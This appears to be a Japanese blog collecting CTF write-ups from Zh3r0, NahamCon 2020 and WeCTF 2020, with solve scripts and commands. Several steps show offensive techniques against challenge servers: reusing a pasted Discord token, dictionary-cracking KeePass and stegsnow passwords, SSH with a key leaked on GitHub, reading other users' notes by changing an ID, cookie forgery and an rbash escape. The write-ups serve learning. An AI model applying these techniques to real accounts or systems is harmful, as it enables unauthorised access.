discordのshellチャンネルでshellライクの何かが動いてる。面白い!
man, ls, catが使える。

cat welcome.txt

YAGPDB.xyz ボット 今日 01:58
Welcome to Zh3r0 CTF.
Have fun.
Contact Admins or Authors if face any difficulty during the CTF.
Here is a small gift for you: zh3r0{Hav3_FuN}

flag: zh3r0{Hav3_FuN}

Web-Warmup (Web)

読み込んでいるbg.cssの中にフラグ。

flag: zh3r0{y3s_th1s_1s_w4rmup}

Snow (Forensics)

stegsnow、パスワード付き。
パスワードは配布されたファイルの中にある隠しファイルsnow/.snowey/.../.../.secret.txtに書かれている。

$ stegsnow -C -p "welc0me_to_zh3r0_ctf" snow/chall.txt out.txt


flag: zh3r0{i5_it_sn0w1ng?}

RSA-Warmup (Crypto)

$ nc crypto.zh3r0.ml 8451
N: 642902867524434648179508690517605087273243713711965547128481059841945595067932513344154405477507191290039012459369962676978144259641817989430309504997806206800602216104768046651425092348244622921375377907234804068226061893410547485802048262546556808219639807122808814137509418265197002680614961784796530102400807244001
e 65537
CT: 108541277717044689699503892649816062238171511497730266351848478879254943419185616703751843126220838172198604411439389819109432031066591991496897552593368386507843875675194914891948166835447068957155552682535593009391157806601149979351240652413643063139003975780398853251622078783075191897540493547293018456336992966880

Nがfactordbで素因数分解できたので、それを使った。

factordb.com

from Crypto.Util.number import inverse, long_to_bytes

n = 642902867524434648179508690517605087273243713711965547128481059841945595067932513344154405477507191290039012459369962676978144259641817989430309504997806206800602216104768046651425092348244622921375377907234804068226061893410547485802048262546556808219639807122808814137509418265197002680614961784796530102400807244001
e = 65537
ct = 108541277717044689699503892649816062238171511497730266351848478879254943419185616703751843126220838172198604411439389819109432031066591991496897552593368386507843875675194914891948166835447068957155552682535593009391157806601149979351240652413643063139003975780398853251622078783075191897540493547293018456336992966880

p = 3803959279
q = q = n // p
phi = (p-1)*(q-1)
d = inverse(e, phi)

m = pow(ct, d, n)
print(long_to_bytes(m))

flag: zh3r0{RSA_1s_Fun}

Tokens (Web)

ブラウザ版discordでログアウトしておき、local strage内にKey=token, Value="NzIyMzM1MTQ5NDA0MTkyODIw.Xuhmgw.SZfbikLok4FRqbHQY4L3htLcTaU"の項目を追加し、リロードすればそのアカウントでログインできる。
こちらの動画を参考に。

youtu.be


flag: zh3r0{1et_7he_F0rce_8e_With_YoU}

LSB fun (Forensics)

LSBとか言うからLSB必死に拾ったりしたけど普通にjstegだった…。
jstegは過去記事(なおgithubからダウンロードできるバイナリを使ってる)

NahamCon CTF (in 2020) 復習編 その1 - CTF for BBA


flag: zh3r0{j5t3g_i5_c00l}

NahamCon CTF (in 2020) 復習編 その1

復習しない限り新しい問題は解けるようにならないので、復習も大事にしていきたい。

writeup見て解いた問題をメモしていきます。
写経になっているものもありますが自己学習のためなのでご容赦ください。

Dina (Scripting)

実は昔生物系だったのでDNAだということにはすぐ気づいたんですが、
DNA Based Steganography…これどうやって辿り着けばいいの?

DNA Based Steganography for Security Marking


そしてひどいスクリプト

from pwn import *

def decdna(s):
  ret = ''
  sl = [s[i*3:i*3+3] for i in range(len(s) // 3)]
  for si in sl:
    if si == 'CGA':
      ret += 'A'
    elif si == 'CCA':
      ret += 'B'
    elif si == 'GTT':
      ret += 'C'
    elif si == 'TTG':
      ret += 'D'
    elif si == 'GGC':
      ret += 'E'
    elif si == 'GGT':
      ret += 'F'
    elif si == 'TTT':
      ret += 'G'
    elif si == 'CGC':
      ret += 'H'
    elif si == 'ATG':
      ret += 'I'
    elif si == 'AGT':
      ret += 'J'
    elif si == 'AAG':
      ret += 'K'
    elif si == 'TGC':
      ret += 'L'
    elif si == 'TCC':
      ret += 'M'
    elif si == 'TCT':
      ret += 'N'
    elif si == 'GGA':
      ret += 'O'
    elif si == 'GTG':
      ret += 'P'
    elif si == 'AAC':
      ret += 'Q'
    elif si == 'TCA':
      ret += 'R'
    elif si == 'ACG':
      ret += 'S'
    elif si == 'TTC':
      ret += 'T'
    elif si == 'CTG':
      ret += 'U'
    elif si == 'CCT':
      ret += 'V'
    elif si == 'CCG':
      ret += 'W'
    elif si == 'CTA':
      ret += 'X'
    elif si == 'AAA':
      ret += 'Y'
    elif si == 'CTT':
      ret += 'Z'
    elif si == 'ATA':
      ret += ' '
    elif si == 'TCG':
      ret += ','
    elif si == 'GAT':
      ret += '.'
    elif si == 'GCT':
      ret += ':'
    elif si == 'ACT':
      ret += '0'
    elif si == 'ACC':
      ret += '1'
    elif si == 'TAG':
      ret += '2'
    elif si == 'GCA':
      ret += '3'
    elif si == 'GAG':
      ret += '4'
    elif si == 'AGA':
      ret += '5'
    elif si == 'TTA':
      ret += '6'
    elif si == 'ACA':
      ret += '7'
    elif si == 'AGG':
      ret += '8'
    elif si == 'GCG':
      ret += '9'
  return ret

if __name__ == "__main__":
  conn = remote("jh2i.com", 50035)

  while True:
    dna = conn.recvline().decode('utf-8')
    dec = decdna(dna)
    print("recieve: " + dna)
    print("decode: " + dec)
    decl = dec.split(' ')
    if decl[1] == 'SEND' and decl[2] == 'THIS':
      conn.sendafter('> ' , decl[4])
      print("send: " + decl[4])
    elif decl[1] == 'SEND' and decl[3] == 'STRING':
      conn.sendafter('> ', decl[4])
      print("send: " + decl[4])
    elif decl[1] == 'SEND' and decl[3] == 'MESSAGE':
      conn.sendafter('> ', decl[5])
      print("send: " + decl[5])
    elif decl[1] == 'SEND' and decl[2] == 'BACK':
      conn.sendafter('> ', decl[3])
      print("send: " + decl[3])
    elif decl[1] == 'SEND':
      conn.sendafter('> ', decl[2])
      print("send: " + decl[2])
    elif decl[1] == 'GO':
      conn.sendafter('> ', decl[5])
      print("send: " + decl[5])
    elif decl[1] == 'RESPOND':
      conn.sendafter('> ', decl[3])
      print("send: " + decl[3])
    elif decl[1] == 'PLEASE':
      conn.sendafter('> ', decl[4])
      print("send: " + decl[4])
    elif decl[1] == 'ENTER' and decl[3] == 'BACK':
      conn.sendafter('> ', decl[7])
      print("send: " + decl[7])
    elif decl[1] == 'ENTER':
      conn.sendafter('> ', decl[4])
      print("send: " + decl[4])
    else:
      break

flag: flag{dina_speaks_in_dna_and_you_do_too}

Ksteg (Steganography)

jpegのstegano技術としてjstegというものがあるそうだ。

GitHub - lukechampine/jsteg: JPEG steganography

$ ./jsteg reveal luke.jpg 
flag{yeast_bit_steganography_oops_another_typo}

flag: flag{yeast_bit_steganography_oops_another_typo}

Peter Rabbit (Warmup)

画像のesolangがあるのは知らなかった。Pietは20色を使った画像のesolangだそうな。

Piet - Esolang


flag: flag{ohhhpietwastherabbit}

Tron (OSINT)

アカウントのOSINTにはsherlockが便利らしい。

github.com

githubアカウントが見つかる。
flaggerというレポジトリには特に何もないので、dotfilesレポジトリを見る。
更新日が8日前(本記事記載時点)になっていて、その時点での更新ファイルはconfig/id_rsaと.bash_historyである。
.bash_historyを見るとsshコマンドが書かれている。その通り実行すればよい。

$ git clone https://github.com/NahamConTron/dotfiles.git
$ chmod 400 config/id_rsa
$ ssh -i config/id_rsa nahamcontron@jh2i.com -p 50033
nahamcontron@7698f0718395:~$ ls
flag.txt
nahamcontron@7698f0718395:~$ cat flag.txt 
flag{nahamcontron_is_on_the_grid}

flag: flag{nahamcontron_is_on_the_grid}

Snowflake (Steganography)

文字列の末尾に多量の空白(0x20)やタブ(0x09)が入っている。
stegsnowというものだそうだ。

普通にextractしようとするとめちゃくちゃな文字列になる。

$ stegsnow -C frostythesnowman.txt 
o gl nmrseDIempsksdr adsiegb0a t    ltrN)

パスワードがかかっている時にこのようになるらしい。

Hide Text in Text Files Using stegsnow | Delightly Linux

パスワードのヒントがないので、rockyou.txtを使ってブルートフォースする。

#!/bin/bash

while read line
do
  ret=`stegsnow -C -Q -p ${line} frostythesnowman.txt`
  if [ "`echo ${ret} | grep JCTF`" ]; then
     echo ${line}
     echo ${ret}
  fi
done < rockyou.txt
$ ./brute.sh
you: No such file or directory
ilovejohn
JCTF{gemmy_spinning_snowflake}
amo: No such file or directory

flag: JCTF{gemmy_spinning_snowflake}

Beep Boop (Steganography)

wavファイル。dtmfが聞こえる。

http://dialabc.com/sound/detect/

上記サイトでデコードしたところ46327402297754110981468069185383422945309689772058551073955248013949155635325になって、開催期間中はそこで止まってた。
この10進数を16進数に変換すればよかっただけらしい。ぴえん。

pythonなら、long_to_bytes()を使えば10進数からバイト文字列への変換を一気にやってくれる。

In [10]: from Crypto.Util.number import long_to_bytes
In [11]: print(long_to_bytes(46327402297754110981468069185383422945309689772058551073955248013949155635325))                                                                                              
b'flag{do_you_speak_the_beep_boop}'

flag: flag{do_you_speak_the_beep_boop}

My Apologies (Steganography)

1バイト文字と3バイト文字が混在している。
Unicode Homoglyphを使ったステガノグラフィらしい。

Twitter Secret Messages - Steganography

flag: flag_i_am_so_sorry_steg_sucks
テキストエディタの設定によっては文字がうまく表示できなくて、結果デコードが変になることもある。

Easy Keesy (Warmup)

$ file easy_keesy
easy_keesy: Keepass password database 2.x KDBX

KeePassデータベースファイル。
John the Ripperのkeepass2johnを使う。

$ ./john-the-ripper/run/keepass2john easy_keesy > easy_keesy.hash
$ ./john-the-ripper/run/john easy_keesy.hash
Loaded 1 password hash (KeePass SHA-256 AES [32/64])
monkeys          (easy_keesy)
guesses: 1  time: 0:00:09:02 DONE (Wed Jun 17 04:04:49 2020)  c/s: 26.34  trying: monkeys
Use the "--show" option to display all of the cracked passwords reliably

あとは対応するソフトで開けばよい。
f:id:boxwolf:20200617210210p:plain

flag: flag{jtr_found_the_keys_to_kingdom}

Dead Swap (Steganography)

開催期間中は全部\xffだと思って諦めてしまっていた。実は\xfeが混じっている。目grepで探すと死ぬ。

$ xxd deadswap | grep -v 'ffff ffff'  
004fff00: fffe fefe fffe fefe fffe fefe ffff fefe  ................
004fff10: fffe fffe fefe fefe fffe fefe feff fffe  ................
004fff20: fffe feff fefe fffe fffe fffe fefe fefe  ................
004fff30: fffe feff fefe feff fffe feff feff fffe  ................
004fff40: fffe fffe fefe fefe fffe feff fffe fefe  ................
004fff50: fffe feff fefe feff fffe feff feff fffe  ................
004fff60: fffe feff fefe fefe fffe feff fffe ffff  ................
004fff70: fffe fffe fefe fefe fffe fefe fffe fffe  ................
004fff80: fffe feff fefe fefe fffe fefe feff fffe  ................
004fff90: fffe fffe fefe fefe fffe feff fffe fffe  ................
004fffa0: fffe fefe ffff feff fffe feff ffff fffe  ................
004fffb0: fffe fffe fefe fefe fffe fefe fffe ffff  ................
004fffc0: fffe feff ffff fffe fffe feff feff ffff  ................
004fffd0: fffe fefe fffe fefe fffe fefe feff fefe  ................
004fffe0: fffe feff fffe fefe fffe feff ffff fffe  ................
004ffff0: fffe feff fefe ffff fffe feff fffe feff  ................

上記の部分を切り出し、ff, feをそれぞれ0、1にして2進数から文字列に変換すればよい。
文字列がひっくり返っていたので最後に元に戻した。

with open('deadswap_fe', 'rb') as f: 
    b = f.read()

bs = '' 
for i in range(len(b)): 
    if b[i] == 255: 
        bs += '0' 
    elif b[i] == 254: 
        bs += '1'

bsl = [bs[j:j+8] for j in range(0, len(bs), 8)]

s = ''
for bsli in bsl:
    s += chr(int(bsli, 2))

print(s[::-1])


flag: flag{what_are_you_doing_in_my_swap}

Docxor (Cryptography)

問題文よく読んでなくて今読んだら解けた。かなちい

タイトルからしてxorされている、問題文によるとkeyは4文字らしい。
下記サイトでxorキーを予測した。
(ファイルのダウンロードも可能となっているが、試したところ正しいファイルが落ちてこなかったので、fileinsightでxorした)
XOR Cracker

xorキーは"5a 41 99 bb"で、xor後のファイルはfileコマンドではzipと出るが、内容的にdocxなので、拡張子を変更して開くとフラグ。

flag: flag{xor_is_not_for_security}

Homecooked (Cryptography)

普通に実行すると途中まではフラグが表示されるが、だんだん遅くなる。
これは26文字目以降、numの値が500000以上と大きくなり、計算が遅くなるから。

a、bの関数をそれぞれ見ると、aではnumに1とその数以外の約数がある場合にFalse、つまりnumが素数の場合にTrueになる。
bは回文数であるかどうかをチェックしている。
特にaをより早い関数に書き直す。

import base64
from sympy import isprime

num = 0
count = 0
cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="

# def a(num):
#     if (num > 1):
#         for i in range(2,num):
#             if (num % i) == 0:
#                 return False
#                 break
#         return True
#     else:
#         return False
# 
# def b(num):
#     my_str = str(num)
#     rev_str = reversed(my_str)
#     if list(my_str) == list(rev_str):
#        return True
#     else:
#        return False

def a(num):
    if isprime(num):
        return True
    else:
        return False

def b(num):
    if str(num) == str(num)[::-1]:
        return True
    else:
        return False

cipher = base64.b64decode(cipher_b64).decode().split(",")

while(count < len(cipher)):
    if (a(num)):
        if (b(num)):
            print(chr(int(cipher[count]) ^ num), end='', flush=True)
            count += 1
            if (count == 13):
                num = 50000
            if (count == 26):
                num = 500000
    else:
        pass
    num+=1

print()

flag: flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}

WeCTF (in 2020) writeup

最近CTFやるかwriteupの写経しかしてません。
WeCTFはWebが死んでる私には辛い(白目)。ほとんど解けなかったけどメモ。

RE

\xnnとかのHexエンコードが見えたらとりあえずCyberChefでUnescapeしてみることにしている。
怪しいstringが見つかったりするので。

今回も、URLとmd5ハッシュ値の配列が見つかった。
URLはhttps://clbin.com/ISK41で、飛ぶとURIっぽい文字列が見つかる。
md5は1文字ずつなので流石にcrack可能。

800618943025315f869e4e1f09471012 -> F
7b774effe4a349c6dd82ad4f4f21d34c -> u
8d9c307cb7f3c4a32822a51922d1ceaa -> N
b14a7b8059d9c055954c92674ce60032 -> _
92eb5ffee6ae2fec3ad71c777531578f -> b
7b774effe4a349c6dd82ad4f4f21d34c -> u
8f14e45fceea167a5a36dedd4bea2543 -> 7
b14a7b8059d9c055954c92674ce60032 -> _
7b8b965ad4bca0e41ab51de7b31363a1 -> n
cfcd208495d565ef66e7dff9f98764da -> 0
b14a7b8059d9c055954c92674ce60032 -> _
92eb5ffee6ae2fec3ad71c777531578f -> b
e1e1d3d40573127e9ee0480caf1283d6 -> R
7b774effe4a349c6dd82ad4f4f21d34c -> u
b9ece18c950afbfa6b0fdbfa4ff731d3 -> T
800618943025315f869e4e1f09471012 -> F
84c40473414caf2ed4a7b1283e48bbf4 -> (
9371d7a2e3ae86a00aab4771e39d255d -> )
4b43b0aee35624cd95b910189b3dc231 -> r
0d61f8370cad1d412f80b84d143e1257 -> C
e1671797c52e15f763380b45e841ec32 -> e
e1671797c52e15f763380b45e841ec32 -> e
e1671797c52e15f763380b45e841ec32 -> e
e1671797c52e15f763380b45e841ec32 -> e
e1671797c52e15f763380b45e841ec32 -> e
b14a7b8059d9c055954c92674ce60032 -> _
2db95e8e1a9267b7a1188556b2013b33 -> l
cfcd208495d565ef66e7dff9f98764da -> 0
c4ca4238a0b923820dcc509a6f75849b -> 1
9033e0e305f247c0c3c80d0c7848c8b3 -> !

flag: we{b021b020-4d11-4857-8138-edb2ff753637@FuN_bu7_n0_bRuTF()rCeeeee_l01!}

API

404ページからNuxt.jsで動いていることがわかったので、デフォルトのapi URLがないか調べたがパッとは分からなかった。
なのでそれっぽいURLを適当に叩いたらビンゴ。https://api.wectf.io/でした。

flag: we{54651fcb-8d5a-481a-be57-2d86fa03a9c1@H1-Myy-Fe1L0Ws}

Note App

適当なusername, passwordでログイン。文字列を書いて保存できるアプリのようだ。
適当な文字列を入れて"Create Note"を押すと、http://na1.w-jp.cf/note/260という形式でそれが記載されたページが作成される。 初めての投稿なのに260ということは他人の投稿も見られるのではないかと思い、http://na1.w-jp.cf/note/1を見てみたらフラグ。

flag: we{7b9f9649-9226-4027-92cc-53d192efa414@H0w-1-Cee-CLasSmaTe8-sc0Res}

NahamCon CTF (in 2020) writeup

NahamCon CTF、2人チームで参加しました。
1570ポイントで257位でした。300位以内目指していたので嬉しい。

mobile全部解きたかった…。相方もOSINT全部解きたかったと申しておりました。
web, crypt, pwnは勉強しなければ…。
相方のも含めてWriteup書きます。

Agent 95

普通にアクセスするともっと古いWindowsでアクセスしろと言われる。
Agent 95はWindows 95のユーザエージェントという意味だと思ったのでそれを指定。

$ curl -H "User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95)" "http://jh2i.com:50000/"
flag{user_agents_undercover}
(snip)

flag{user_agents_undercover}

Localghost

トップページとghost.htmlには特に怪しい点はない。
/jquery.jscroll2.jsというファイルを読み込んでいて、jqueryにそんなファイルあったか?と思って見てみたら
Hexエンコードされた文字列があったので、デコードしてみたら"flag"と難読化された文字列があったので、更にデコードするとフラグ。

flag: JCTF{spoooooky_ghosts_in_storage}

Voltex

接続すると大量のバイトが流れてくるが、その中にflagが紛れている。

from pwn import *

conn = remote('jh2i.com', 50017)
s = conn.recvuntil('flag')
flag = conn.recvuntil('}')
print('flag' + flag.decode('utf-8'))

flag: flag{more_text_in_the_vortex}

Candroid

dex2jarでデコンパイルすると、password.txtの内容と比較して合っていればflagを表示するアプリということがわかった。
表示するflagはリソースのstringsに入っているようなので、apktoolでリソースをデコンパイルした。

$ apktool d candroid.apk
$ cd res
$ grep -r "flag" . 

flag: flag{4ndr0id_1s_3asy}

Read The Rules

ruleページのソースにある。

flag: flag{we_hope_you_enjoy_the_game}

CLIsay

stringsをかけると2つに分かれたフラグ文字列が確認できるのでくっつける。

flag: flag{Y0u_c4n_r3Ad_M1nd5}

Metameme

メタ情報を見ろとのこと。

$ exiftool hackermeme.jpg
(snip)
Creator                         : flag{N0t_7h3_4cTuaL_Cr3At0r}
(snip)

flag: flag{N0t_7h3_4cTuaL_Cr3At0r}

Mr. Robot

/robots.txtにフラグ。

flag: flag{welcome_to_robots.txt}

UGGC

どんなusernameを入力してもログインできるが、adminだけ拒否される。
ログインするとユーザ名が換字暗号?されたcookieがセットされるので、cookieを"nqzva"に書き換えてリロードするとフラグ。

flag: flag{H4cK_aLL_7H3_C0okI3s}

Pang

pngを開くだけ。crcがおかしいけど…

flag: flag{wham_bam_thank_you_for_the_flag_maam}

Doh

steghideで。

$ steghide extract -sf doh.jpg
Enter passphrase: 
wrote extracted data to "flag.txt".
$ cat flag.txt 
JCTF{an_annoyed_grunt}

flag: JCTF{an_annoyed_grunt}

Time keeper

Webアーカイブでapporima.comを検索すると、4/18時点のアーカイブがあり、/flag.txtがあると書かれている。
現在のURLではアクセスできないが、webアーカイブ上では/flag.txtを閲覧することができる。

flag: JCTF{the_wayback_machine}

Ends Meet

見るべき場所は、このアプリ独特のクラス。今回で言うとcom.example.endsmeet配下。
MainActivity.classを見ると、urlとbase64エンコードされたパスがある。
合わせるとhttp://jh2i.com:50038/api/v2/dataになる。

Something seems to be off. Your User Agent does not seem to match the default user agent for the HTTP Library used in the app.

ブラウザでアクセスするとユーザエージェントがライブラリのデフォルトのものじゃないと言われる。親切。
Volleyを使っているようなので調べると、VolleyのデフォルトのUAは"volley/0"らしい。

$ curl -H "User-Agent: volley/0" "http://jh2i.com:50038/api/v2/data"
flag{rev3rsIng_ApKs_l1k3_A_Pr0}

flag: flag{rev3rsIng_ApKs_l1k3_A_Pr0}

Volatile

メモリイメージ。タイトル通りVolatilityを使う。

$ vol.py -f memdump.raw imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/Users/ayaka/Downloads/NahamConCTF/memdump.raw)
                      PAE type : PAE
                           DTB : 0x185000L
                          KDBG : 0x8276fc28L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0x82770c00L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2020-04-20 21:16:55 UTC+0000
     Image local date and time : 2020-04-20 14:16:55 -0700
$ vol.py -f memdump.raw --profile=Win7SP1x86_23418 pstree
(snip)
 0x85a10520:explorer.exe                             2136   2104     32    779 2020-04-20 21:15:59 UTC+0000
. 0x85a06b50:regsvr32.exe                            2436   2136      0 ------ 2020-04-20 21:16:00 UTC+0000
. 0x85ea04f0:cmd.exe                                 3460   2136      1     18 2020-04-20 21:16:21 UTC+0000
(snip)

filescanコマンドでは特に怪しいものが見つからなかったので、pstreeで見ると、explorer.exeからcmd.exeを起動しているので、
コマンド履歴と実行結果を取得できるconsolesを使う。

$ vol.py -f memdump.raw --profile=Win7SP1x86_23418 consoles
Volatility Foundation Volatility Framework 2.6.1
**************************************************
ConsoleProcess: conhost.exe Pid: 3468
Console: 0xc781c0 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: C:\Windows\system32\cmd.exe
AttachedProcess: cmd.exe Pid: 3460 Handle: 0x5c
----
CommandHistory: 0x2f0448 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 1 LastAdded: 0 LastDisplayed: 0
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x5c
Cmd #0 at 0x2f4680: echo JCTF{nice_volatility_tricks_bro}
----
Screen 0x2d62d8 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]  
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\JCTF>echo JCTF{nice_volatility_tricks_bro}                             
JCTF{nice_volatility_tricks_bro}

C:\Users\JCTF>


flag: JCTF{nice_volatility_tricks_bro}

Fake File

grep -r flag / 2>/dev/nullgrep -r flag .辺りで出てきた。

/home/user/.. :flag{we_should_have_been_worried_about_u2k_not_y2k}

".."というファイル名とは…。
flag: flag{we_should_have_been_worried_about_u2k_not_y2k}

Alkatraz

flag.txtはあるがlessやcatが使えない。echoは使えるので調べていたら、echoでファイル内容を閲覧できるのを知った。

ls
flag.txt
less flag.txt
/bin/rbash: line 2: less: command not found
echo $(<flag.txt)
flag{congrats_you_just_escaped_alkatraz}

flag: flag{congrats_you_just_escaped_alkatraz}

Trapped

何のコマンドを打っても同じメッセージが返ってきて使えないが、trapコマンドを打った時だけ違うメッセージが返ってくる。

user@host:/home/user$ ls
ls
You're stuck in the trap!
user@host:/home/user$ trap
trap
trap -- 'trap_card' DEBUG

どうやらDEBUGシグナルをtrapする状態になっているらしいので、解除する。

user@host:/home/user$ trap - DEBUG
trap - DEBUG
user@host:/home/user$ cat flag.txt
cat flag.txt
flag{you_activated_my_trap_card}

flag: flag{you_activated_my_trap_card}

Microsooft

docxファイルはzipファイルとして解凍できる。解凍して"flag"でgrep

$ unzip microsooft.zip 
Archive:  microsooft.zip
  inflating: [Content_Types].xml     
   creating: _rels/
  inflating: _rels/.rels             
   creating: docProps/
  inflating: docProps/app.xml        
  inflating: docProps/core.xml       
   creating: src/
  inflating: src/gfxdata.txt         
 extracting: src/gfxdata.zip         
  inflating: src/oof.txt             
  inflating: src/unencrypted.docx    
   creating: word/
   creating: word/_rels/
  inflating: word/_rels/document.xml.rels  
  inflating: word/document.xml       
  inflating: word/fontTable.xml      
  inflating: word/settings.xml       
  inflating: word/styles.xml         
$ grep -r flag .
./src/oof.txt:Sed eget sem mi. Nunc ornare tincidunt nulla quis imperdiet. Donec quis dignissim lorem, vel dictum felis. Morbi blandit dapibus lorem nec blandit. Pellentesque ornare auctor est, vitae ultrices nulla efficitur quis. flag{oof_is_right_why_gfxdata_though} Morbi vel velit vel sem malesuada volutpat interdum ut elit. Duis orci nisl, suscipit non maximus sit amet, consectetur at diam. Vestibulum cursus odio vitae eros mollis sodales. Ut scelerisque magna diam, sit amet porttitor massa tincidunt tempus. Vivamus libero nulla, facilisis id faucibus sit amet, ultricies non dolor. Maecenas ornare viverra dui, nec vestibulum nisl pretium id. Nam fringilla maximus quam non porttitor. Curabitur eget ultricies metus. Nunc hendrerit dolor non nulla volutpat sollicitudin. Suspendisse hendrerit odio nec luctus venenatis. Nullam lobortis fringilla aliquam.

flag: flag{oof_is_right_why_gfxdata_though}

New Years Resolution

nameserverがどうたらと書かれているのでdigしてみたらフラグ。

% dig jh2i.com any

; <<>> DiG 9.10.6 <<>> jh2i.com any
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14251
;; flags: qr rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: 0, ADDITIONAL: 9

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;jh2i.com.          IN  ANY

;; ANSWER SECTION:
jh2i.com.       3600    IN  SPF "flag{next_year_i_wont_use_spf}"
(snip)

flag: flag{next_year_i_wont_use_spf}

Finsta

"finsta"はインスタのサブ垢とかの意味らしいので、"NahamConTron"をInstagramで検索したらユーザとフラグが出てきた。

flag: flag{i_feel_like_that_was_too_easy}